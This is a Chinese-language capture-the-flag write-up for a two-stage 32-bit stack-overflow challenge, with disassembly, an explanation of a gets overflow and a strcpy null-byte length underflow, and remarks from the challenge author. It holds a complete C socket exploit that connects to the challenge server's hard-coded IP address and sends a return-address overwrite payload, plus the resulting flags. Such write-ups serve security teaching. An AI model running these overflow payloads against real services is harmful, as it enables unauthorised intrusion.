@pnck
2015-04-15T05:55:58.000000Z
字数 4821
阅读 2484
writeup
by program author: 刚放出来一天就被秒了,吓屎了……以后求组队带我飞啊!
一道栈溢出的题目。
nc连接上去之后是3个选项。其中1,2都有字符串的输入。先丢ida分析。
根据一些字符串的输出理清函数的调用关系。先按照提示尝试step1.
.text:0804891E 09C cmp [ebp+var_D], 5Ch ; <-比较[esp+var_D]与5Ch。成功这调用函数打印flag。.text:08048922 09C jnz short loc_8048956.text:08048924 09C sub esp, 0Ch.text:08048927 0A8 push offset aCongratulation ; "Congratulations you've got the point!".text:0804892C 0AC call _puts.text:08048931 0AC add esp, 10h.text:08048934 09C sub esp, 0Ch.text:08048937 0A8 push offset aGiveYouWhatYou ; "Give you what you want:".text:0804893C 0AC call _puts.text:08048941 0AC add esp, 10h.text:08048944 09C sub esp, 0Ch.text:08048947 0A8 push offset file ; "flags/step1".text:0804894C 0AC call sub_80486AB ; <-打印flag的函数。参数是flags/step1.text:08048951 0AC add esp, 10h.text:08048954 09C jmp short loc_8048966 ; Jump.text:08048956 ; ---------------------------------------------------------------------------.text:08048956.text:08048956 loc_8048956: ; CODE XREF: sub_8048781+1A1↑j.text:08048956 09C sub esp, 0Ch.text:08048959 0A8 push offset aYes__youSeeRot ; "Yes..you see ROT13 runing well but do y"....text:0804895E 0AC call _puts.text:08048963 0AC add esp, 10h
前面还有个不限长度的gets函数,所以是只要输入字符串覆盖就可以了。
构造字符串'a'*(0x94-0x0D) + 0x5c(就是字符'\')
手工输入得到flag:hctf{H3rE_1s_iT}
分析step2的程序流程,首先输入密码。密码为明文很容易发现为"=L=why_dont_you_guess_me?"输入正确后提示输入验证码,为109然后就结束了。
随后我再查找.const段发现字符串"flags/step2"猜想使用这个参数调用step1中打印flag的函数,但是两个输入函数都是限制了输入长度的,所以没有办法进行栈溢出攻击。
于是仔细的分析step2的代码。发现在strcpy处有一个漏洞,因为strcpy复制后总是加上'\0',正好将[esp+var_c]处的用以限制输入长度变量覆盖为0.
.text:08048A01 sub esp, 8.text:08048A04 lea eax, [ebp+nptr].text:08048A0A push eax ; src.text:08048A0B lea eax, [ebp+dest].text:08048A0E push eax ; dest.text:08048A0F call _strcpy ;这里的strcpy把[esp+var_c]处变量覆盖为零。.text:08048A14 add esp, 10h.text:08048A17 sub esp, 0Ch.text:08048A1A push offset aOh__andINeedTo ; "Oh..And,I need to check if you are huma"....text:08048A1F call _puts.text:08048A24 add esp, 10h.text:08048A27 sub esp, 0Ch.text:08048A2A push offset aPleaseCalculat ; "Please calculate:?"....text:08048A2F call _puts.text:08048A34 add esp, 10h.text:08048A37 mov eax, [ebp+var_C].text:08048A3A sub eax, 1 ; <-这里是关键,将已经为0的eax再减去1。可以溢出啦。.text:08048A3D sub esp, 4.text:08048A40 push 0Ah.text:08048A42 push eax.text:08048A43 lea eax, [ebp+nptr].text:08048A49 push eax.text:08048A4A call sub_804870E ;可以在这里开心的构造溢出了
所以最终思路是
=L=why_dont_you_guess_me? + 'a'*38 + '\n'覆盖变量。119 + '\0'*1101 + 0x0804894C(函数地址) + 0x08048c3a(参数地址) + '\n'本人是个渣,不会用高大上的python,所以用c语言写了段代码。。
by program author: WTF? 用C写了段代码?! 你们谁写过socket程序? @差点被军哥踢走的niko
#include <winsock2.h>#include <stdio.h>#include <Windows.h>#pragma comment(lib,"ws2_32.lib")int main (void){int i;WSADATA wsaData;SOCKET sockClient;SOCKADDR_IN addrServer;char recvBuf[5000]={0};WSAStartup(MAKEWORD(2,2),&wsaData);sockClient=socket(AF_INET,SOCK_STREAM,0);addrServer.sin_addr.S_un.S_addr=inet_addr("121.41.49.63");addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7777);connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));recv(sockClient,recvBuf,1000,0);printf("%s",recvBuf);printf("\n*****************************************************************\n");for(i=0;i<1000;recvBuf[i]=0,i++);char message[2000]={'2','\x0a'};send(sockClient,message,2,0);Sleep(1000);recv(sockClient,recvBuf,1000,0);printf("%s",recvBuf);printf("\n*****************************************************************\n");for(i=0;i<1000;recvBuf[i]=0,i++);for(i=0;i<64;i++)message[i]='1';message[64]='\x0a';strcpy_s(message,26,"=L=why_dont_you_guess_me?");message[25]='1';send(sockClient,message,65,0);Sleep(1000);recv(sockClient,recvBuf,1000,0);printf("%s",recvBuf);printf("\n*****************************************************************\n");for(i=0;i<5000;recvBuf[i]=0,i++);for(i=0;i<1104;i++)message[i]='\0';message[1104]=0x4c;message[1105]=0x89;message[1106]=0x04;message[1107]=0x08;message[1108]=0x3a;message[1109]=0x8c;message[1110]=0x04;message[1111]=0x08;message[1112]=0x0a;message[0]='1';message[1]='0';message[2]='9';send(sockClient,message,1113,0);Sleep(1000);recv(sockClient,recvBuf,5000,0);printf("%s",recvBuf);printf("\n*****************************************************************\n");closesocket(sockClient);WSACleanup();}
Welcome PWN-Step. Where are you at?
1) Newbie
2) I've known something.
3) QooBee is just a piece of cake.
*****************************************************************
Step2.Things get complicated, you'll need some professional tricks.Try your best!
You need to give me a password to read the flag.
*****************************************************************
Oh..And,I need to check if you are human beings.
Please calculate:二十三 plus 0x56 = ?
*****************************************************************
passwd:
your answer:109
Yes,you are able to do some reverse engineering,but here is not the way to get flag.
flag: hctf{W0w_sub4rA5Hi!}
*****************************************************************
by program author:
step2 是仿照sctf2014 pwn200的思路写的,做了简化,一开始程序逻辑还有些问题,比如可以直接用step1的gets来打step2啦,长度限制根本没起到迷惑性的作用啦等等,还是被做出来之后经过交流才知道的orz
看过writeup之后更感觉肯定不只是一两天功力,未来大腿get√